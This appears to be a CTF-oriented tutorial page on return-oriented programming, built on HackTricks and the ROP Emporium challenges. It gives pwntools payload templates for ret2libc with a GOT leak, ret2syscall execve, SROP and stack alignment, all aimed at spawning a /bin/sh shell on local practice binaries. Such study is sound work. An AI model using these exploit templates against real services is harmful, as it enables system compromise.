Return Oriented Programming (ROP)
Return-oriented programming fundamentals including gadget discovery, chain construction, ret2libc, and bypassing NX protection through code reuse attacks.
Contents
- What is ROP?
- Finding ROP Gadgets
- ROP Emporium Challenges (Crypto-Cat)
- 1. Ret2win — Basic ROP
- 2. Split — Function + Argument
- 3. Callme — Multiple Calls with Args
- 4. Write4 — Write to Memory
- 5. Badchars — Encoding
- 6. Fluff — Exotic Gadgets
- 7. Pivot — Stack Pivot
- 8. Ret2csu — __libc_csu_init
- Common ROP Techniques
- Ret2libc (Bypass NX)
- Ret2syscall (execve)
- SROP (Sigreturn Oriented Programming)
- Ret2dlresolve
- BROP (Blind ROP)
- Ret2csu Gadgets
- Stack Alignment (64-bit)
- References
Return Oriented Programming (ROP)
Sources: HackTricks - ROP | Crypto-Cat ROP Emporium (VIDEO Series)
What is ROP?
Return Oriented Programming chains together small instruction sequences ending in ret (called gadgets) from the binary itself to perform arbitrary actions — bypassing NX/DEP (non-executable stack).
[overflow padding] → [gadget1_addr] → [gadget2_addr] → ... → [function_addr]
Finding ROP Gadgets
# ROPgadget
ROPgadget --binary ./vuln
ROPgadget --binary ./vuln --ropchain
# ropper
ropper --file ./vuln
ropper --file ./vuln --search "pop rdi"
# pwntools
from pwn import *
elf = ELF('./vuln')
rop = ROP(elf)
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
ret = rop.find_gadget(['ret'])[0]
ROP Emporium Challenges (Crypto-Cat)
1. Ret2win — Basic ROP
Overwrite return address → call ret2win() function.
2. Split — Function + Argument
Call system() with "/bin/cat flag.txt" string that exists in binary.
payload = b'A' * offset
payload += p64(pop_rdi)
payload += p64(useful_string_addr)
payload += p64(system_plt)
3. Callme — Multiple Calls with Args
Call callme_one(1, 2, 3) → callme_two(1, 2, 3) → callme_three(1, 2, 3).
payload = b'A' * offset
for func in [callme_one, callme_two, callme_three]:
payload += p64(pop_rdi_rsi_rdx)
payload += p64(1) + p64(2) + p64(3)
payload += p64(func)
4. Write4 — Write to Memory
Use mov [r14], r15; ret gadget to write “/bin/sh” to writable section, then call system().
5. Badchars — Encoding
Some characters are filtered. XOR encode payload, use ROP to decode in memory.
6. Fluff — Exotic Gadgets
Same goal as write4 but with unusual gadgets (xlatb, stosb, bswap, etc.).
7. Pivot — Stack Pivot
Stack space is limited → pivot to a larger writable area using xchg esp, eax; ret.
8. Ret2csu — __libc_csu_init
Use universal gadgets in __libc_csu_init to control rdx, rsi, edi and call function pointers.
Common ROP Techniques
Ret2libc (Bypass NX)
from pwn import *
elf = ELF('./vuln')
libc = ELF('./libc.so.6')
rop = ROP(elf)
# Leak puts() address from GOT
rop.puts(elf.got['puts'])
rop.call(elf.symbols['main']) # return to main
p.sendline(b'A' * offset + rop.chain())
# Parse leak
leaked_puts = u64(p.recvline()[:6].ljust(8, b'\x00'))
libc.address = leaked_puts - libc.symbols['puts']
# Second stage - call system("/bin/sh")
rop2 = ROP(libc)
rop2.system(next(libc.search(b'/bin/sh')))
p.sendline(b'A' * offset + rop2.chain())
p.interactive()
Ret2syscall (execve)
# 64-bit: syscall number in RAX, args in RDI, RSI, RDX
# execve("/bin/sh", NULL, NULL) = syscall 59
payload = b'A' * offset
payload += p64(pop_rax) + p64(59) # execve syscall number
payload += p64(pop_rdi) + p64(bin_sh_addr) # "/bin/sh"
payload += p64(pop_rsi) + p64(0) # NULL
payload += p64(pop_rdx) + p64(0) # NULL
payload += p64(syscall_ret)
SROP (Sigreturn Oriented Programming)
Use sigreturn syscall to set ALL registers at once from a fake signal frame.
from pwn import *
frame = SigreturnFrame()
frame.rax = 59 # execve
frame.rdi = bin_sh_addr # "/bin/sh"
frame.rsi = 0
frame.rdx = 0
frame.rsp = stack_addr
frame.rip = syscall_addr
payload = b'A' * offset
payload += p64(pop_rax) + p64(15) # sigreturn syscall
payload += p64(syscall_ret)
payload += bytes(frame)
Ret2dlresolve
Fake a dynamic symbol resolution to call any libc function without knowing libc base. Complex but powerful against ASLR.
BROP (Blind ROP)
Remotely discover gadgets by observing crash/no-crash behavior. Requires a fork-based server.
Ret2csu Gadgets
Found in __libc_csu_init of virtually every dynamically-linked ELF:
Gadget 1 (pop):
pop rbx ; 0
pop rbp ; 1
pop r12 ; function pointer (GOT entry)
pop r13 ; arg3 (rdx)
pop r14 ; arg2 (rsi)
pop r15 ; arg1 (edi)
ret
Gadget 2 (call):
mov rdx, r13
mov rsi, r14
mov edi, r15d
call [r12 + rbx*8]
Stack Alignment (64-bit)
Ubuntu 18.04+ requires 16-byte stack alignment before function calls. Add a ret gadget if system() crashes:
payload = b'A' * offset
payload += p64(ret_gadget) # Stack alignment!
payload += p64(pop_rdi)
payload += p64(bin_sh)
payload += p64(system)